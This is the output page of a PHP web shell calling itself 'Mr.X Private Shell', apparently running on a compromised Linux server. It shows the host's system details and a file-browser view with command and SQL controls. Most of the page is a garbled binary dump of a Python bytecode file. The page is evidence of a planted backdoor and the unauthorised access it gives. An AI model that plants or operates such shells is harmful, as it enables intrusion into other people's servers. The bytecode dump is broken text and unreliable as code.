Uname: Linux server.digisquadtech.com 4.18.0-553.100.1.el8_10.x86_64 #1 SMP Mon Feb 2 04:13:33 EST 2026 x86_64
User: 1091 (madhavfluid)
Group: 1090 (madhavfluid)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//usr/lib64/python3.6///__pycache__      ( Reset | Go to )
File Name: _markupbase.cpython-36.pyc
3

 \9@sVdZddlZejdjZejdjZejdZejdZejdZ[Gdd    d    Z    dS)
zShared support for scanning document type declarations in HTML and XHTML.

This module is used as a foundation for the html.parser module.  It has no
documented public API and should not be used directly.

Nz[a-zA-Z][-_.a-zA-Z0-9]*\s*z(\'[^\']*\'|"[^"]*")\s*z--\s*>z    ]\s*]\s*>z]\s*>c@seZdZdZddZddZddZdd    Zd
d Zd Z    d dZ
d#ddZ d$ddZ ddZ ddZddZddZddZddZd d!Zd"S)%
ParserBaseziParser base class which provides some common support methods used
    by the SGML/HTML and XHTML parsers.cCs|jtkrtddS)Nz)_markupbase.ParserBase must be subclassed)    __class__r RuntimeError)selfr#/usr/lib64/python3.6/_markupbase.py__init__s
zParserBase.__init__cCs tddS)Nz.subclasses of ParserBase must override error())NotImplementedError)rmessagerrrerror szParserBase.errorcCsd|_d|_dS)Nr)linenooffset)rrrrreset$szParserBase.resetcCs |j|jfS)z&Return current line number and offset.)r r)rrrrgetpos(szParserBase.getposcCsb||kr |S|j}|jd||}|rN|j||_|jd||}||d|_n|j|||_|S)N
r )rawdatacountr rindexr)rijrZnlinesposrrr    updatepos0s zParserBase.updateposc
Cs|j}|d}|||dks&td|||ddkrB|dS|||ddkrZdSt|}|||ddkr|j|S||d    kr|j|S|j||\}}|d
kr|S|d krd|_x||kr||}|dkr||d|}|d kr|j|n
|j||dS|d kr@t    ||}|s6dS|j
}n|d kr\|j||\}    }nt||jkrr|d}n^|d    kr|d kr|j |d|}n$|dkr|j d|n
|j dn|j d|||d
kr|SqWdS)Nz<!z$unexpected call to parse_declarationr >-rz--[rZdoctypez"'Z4abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZattlistlinktypelinkelementz&unsupported '[' char in %s declarationz"unexpected '[' char in declarationz!unexpected %r char in declaration)rrr">r rr!rr") rAssertionErrorlen parse_commentparse_marked_section
_scan_name_decl_othercharsZ handle_decl unknown_decl_declstringlit_matchend_parse_doctype_subsetr )
rrrrnZdecltypecdatamnamerrrparse_declaration@sZ 
 


 




 



 zParserBase.parse_declarationr cCs|j}|||ddks"td|j|d|\}}|dkrB|S|dkr\tj||d}n4|dkrvtj||d}n|jd ||d||sdS|r|jd}|j||d||j    dS)Nz<![z)unexpected call to parse_marked_section()rtempcdataignoreincludercdataifelseendifz+unknown status keyword %r in marked sectionr >r6r8r4r5r7>r;r:r9r")
rr#r'_markedsectionclosesearch_msmarkedsectioncloser startr)r+)rrreportrZsectNamermatchrrrr&s 
zParserBase.parse_marked_sectioncCsj|j}|||ddkr$|jdtj||d}|s<dS|r`|jd}|j||d||jdS)Nz<!--z"unexpected call to parse_comment()r rr")rr _commentcloser=r?Zhandle_commentr+)rrr@rrArrrrr%s

zParserBase.parse_commentc
Cs4|j}t|}|}x||kr.||}|dkr4|||d}|dkrNdS|dkrt|j||d|jd||d|krdS|d|krdS|||ddkr|j|dd    }|dkr|Sq|j|d|\}}|dkrdS|dkr |j||d|jd|t|d|}    |    ||}|dkr,|Sq|dkr|d|krPdS|j|d|\}}|dkrr|S||dkr,|d}q|dkr|d}x&||kr||jr|d}qW||kr||dkr|S|j|||jdndSq|jr|d}q|j|||jd|qWdS)N<rr z<!z*unexpected char in internal subset (in %r)rBz<!--r)r@rr!entitynotationz)unknown declaration %r in internal subsetZ_parse_doctype_%;]rz%unexpected char after internal subsetz%unexpected char %r in internal subsetr"r"r"r"r">rr!rFrEr"r"r")rr$rr r%r'getattrisspace)
rr declstartposrr-rr.sr1methrrrr,sn
  








  

 z ParserBase._parse_doctype_subsetcCsF|j||\}}|dkrdS|j}d||dkrB|jd|dSdS)Nr rr"r"r")r'rfind)rrrLr1rrrrr_parse_doctype_elementsz!ParserBase._parse_doctype_elementcCs|j}|j||\}}|||d}|dkr2d    S|dkrB|dSxv|j||\}}|dkrb|S|||d}|dkr~d
S|dkrd||dkr|jd|d}nd Sx |||djr|d}qW||dsd Sn|j||\}}|||d}|s
d S|dkrLt||}|r.|j}ndS|||d}|sLdS|dkr||ddkrldS|j|d|\}}|dkr|S|||d}|sdS|dkrF|dSqFWdS)Nr rrr()z'"#r"r"r"r"r"r"r"r"r")rr'rOrKr*r+)rrrLrr1rr.r0rrr_parse_doctype_attlistsZ  




z!ParserBase._parse_doctype_attlistcCs|j||\}}|dkr|S|j}xl|||d}|s<dS|dkrL|dS|dkrpt||}|sfdS|j}q$|j||\}}|dkr$|Sq$WdS)Nrr rz'"r"r")r'rr*r+)rrrLr1rrr.r0rrr_parse_doctype_notation=s$

z"ParserBase._parse_doctype_notationcCs|j}|||ddkrV|d}x6|||d}|s<dS|jrN|d}q$Pq$Wn|}|j||\}}|dkrv|Sxp|j||d}|sdS|dkrt||}|r|j}qdSqx|dkr|dS|j||\}}|dkrx|SqxWdS)    Nr rGrz'"rr"r"r")rrKr'r*r+)rrrLrrr.r1r0rrr_parse_doctype_entityTs8


z ParserBase._parse_doctype_entitycCs|j}t|}||krdSt||}|r\|j}|j}|t||krLdS|j|jfS|j|||jd|||ddS)Nr zexpected name token at %rr")Nr"r")Nr")    rr$_declname_matchgroupstriplowerr+rr )rrrLrr-r0rMr1rrrr'xs
 zParserBase._scan_namecCsdS)Nr)rr/rrrr)szParserBase.unknown_declN)r )r )__name__
__module__ __qualname____doc__rr rrrr(r2r&r%r,rPrTrUrVr'r)rrrrrs" R

C 9$r)
r_recompilerArXr*rCr<r>rrrrr<module>s  




All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL